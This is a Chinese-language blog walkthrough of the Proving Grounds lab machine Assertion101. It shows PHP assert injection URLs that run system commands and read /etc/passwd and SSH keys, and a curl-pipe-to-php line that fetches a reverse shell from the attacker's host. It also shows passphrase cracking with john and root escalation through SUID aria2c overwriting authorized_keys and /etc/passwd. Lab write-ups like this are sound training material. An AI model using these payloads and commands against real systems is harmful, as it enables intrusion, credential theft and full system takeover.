Proving Grounds Play : Assertion101 Walkthrough

  Proving Grounds Play : Assertion101 Walkthrough


Foothold :

  • 80 網站是一個 PHP 網站,傳統的幾種 Path Traversal 無作用
  • 參考 Hacktricks 其他 PHP Path Traversal 後發現使用 assert 的方式成功執行命令讀取檔案
  • 獲取某使用者 id_rsa 後成功登入

PE :

  • SUID 發現 aria2c 利用,利用覆蓋 /etc/passwd 後成功提權


Rustscan,└─$ rustscan -a 192.168.151.94 --scripts none --ulimit 5000 | tee rustscan



snmp check,└─$ sudo nmap -sU -p 161 192.168.151.94 | tee snmp         



nmap



whatweb



80 /



80 /robots.txt



點了幾個網頁發現 index.php 會帶 Query String ?page=ooxx

馬上測試一下 ?page=../../../../../../../../etc/passwd

兄弟,沒有這麼簡單!.......機車的網頁



測試 RFI,看來沒有作用



gobuster




80 /about.php



80 /css



80 /fonts



80 /img



80 /js



80 /pages



80 /schedule.php



PHP Wrappers 包裝器測試,http://192.168.151.94/index.php?page=php://filter/convert.base64-encode/resource=../../../../../../../../etc/passwd



參考 hacktricks 其他有關 Path Traversal 的測試

https://book.hacktricks.xyz/pentesting-web/file-inclusion



測試到 LFI iva PHP's "assert"



測試到這一個 ' and die(system("id")) or ' 成功顯示 id 資訊如下圖

http://192.168.151.94/index.php?page=%27%20and%20die(system(%22id%22))%20or%20%27



將 id 改成 cat /etc/passwd 獲得帳號 soz、fnx 兩個帳號

http://192.168.151.94/index.php?page=%27%20and%20die(system(%22cat%20/etc/passwd%22))%20or%20%27



看看有無 id_rsa,發現兩個帳號都沒有

http://192.168.151.94/index.php?page=%27%20and%20die(system(%22cat%20/home/soz/.ssh/id_rsa%22))%20or%20%27

http://192.168.151.94/index.php?page=%27%20and%20die(system(%22cat%20/home/fnx/.ssh/id_rsa%22))%20or%20%27



測試 RFI 跑 reverse shell php-reverse-shell.php

http://192.168.151.94/index.php?page=%27%20and%20die(system("curl http://192.168.45.168/tools/php-reverse-shell.php"))%20or%20%27

結果將內容讀出來而不是執行該 php



在 URL 後面加上 | php 告知執行完 curl 後用 php 執行看看

http://192.168.151.94/index.php?page=%27%20and%20die(system("curl http://192.168.45.168/tools/php-reverse-shell.php | php"))%20or%20%27

成功拿到 Reverse Shell 了



拿到第一階段的 local.txt



開始 PE,cat /etc/crontab



sudo -l,不知道密碼



SUID check,find / -perm -u=s -type f 2>/dev/null



參考 GTFO 有發現 aria2c 有 SUID 如下



執行後沒有成功,繼續 PE 後續在路徑 /var/www/html/.todeletelater/id_rsa 發現 id_rsa

看來是用 AES128 加密後的檔案



存成檔案,然後用 ssh2john 轉成 hash 再用 john 破解看看

結果破解出來得到密碼是 sozefasalshwamra



測試用 soz 登入,結果成功登入了



SUID check,find / -perm -u=s -type f 2>/dev/null
一樣發現了 aria2c


後來發現 GTFO 給的最後一段 http://x 要用真實可以存取的檔案

將它改成 http://192.168.45.168/test.txt 看看,發現真的有下載

且權限是 root



做了一下研究發現兩點

1. aria2c 是一個下載命令,具有 SUID root 權限意味著下載後可以保存再任意位置

或是修改替換任何檔案

2. 一開始的 www-data 與後來拿到的 id_rsa 登入的 soz 測試 aria2c 權限都是 root

表示改走 id_rsa 登入切換使用者 soz 一舉是多餘的,可以不用有這一段

所以後續直接回到 www-data 的 TTY 直接測試提權看看

這裡有幾個方式去提權,第一個發現 root 其實是可以 SSH 登入的



所以讓我們來做一個 id_rsa 的檔案給 root 看看

ssh-keygen -t rsa 產生對稱金鑰



將公鑰 id_rsa.pub 複製一份出來取名叫做 authorized_keys



下載 authorized_keys 然後存成 /root/.ssh/authorized_keys

/usr/bin/aria2c -d /root/.ssh/ -o authorized_keys http://192.168.45.168/pgplay/94/authorized_keys

發現檔案已經存在



加上 overwrite 參數再跑一次看看

/usr/bin/aria2c -d /root/.ssh/ -o authorized_keys http://192.168.45.168/pgplay/94/authorized_keys --allow-overwrite=true

看來這一次成功覆蓋原有檔案了



SSH 直接進去了,成功獲取 proof.txt



補充說明 :

因為可以覆蓋所有檔案,另外一條路就是修改 /etc/passwd

這也有多種方式,第一個就是將 root 的密碼寫死

因為檔案只能用覆蓋的方式所以先將原有的 /etc/passwd 抓下來




接著產生密碼 Oscp#1234 "$1$LlDuR1.9$ziHDpD1EVMmSHEy2Pfc1P."



將密碼寫進去



GTFO 依樣畫葫蘆,看來有成功覆蓋原有檔案



直接 su root 輸入密碼 Oscp#1234 成功 root



另一種方式,新增一個有 root 權限的使用者 aries,密碼用一樣的



一樣用 aria2c 去覆蓋 passwd



su aries 後成功 root




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)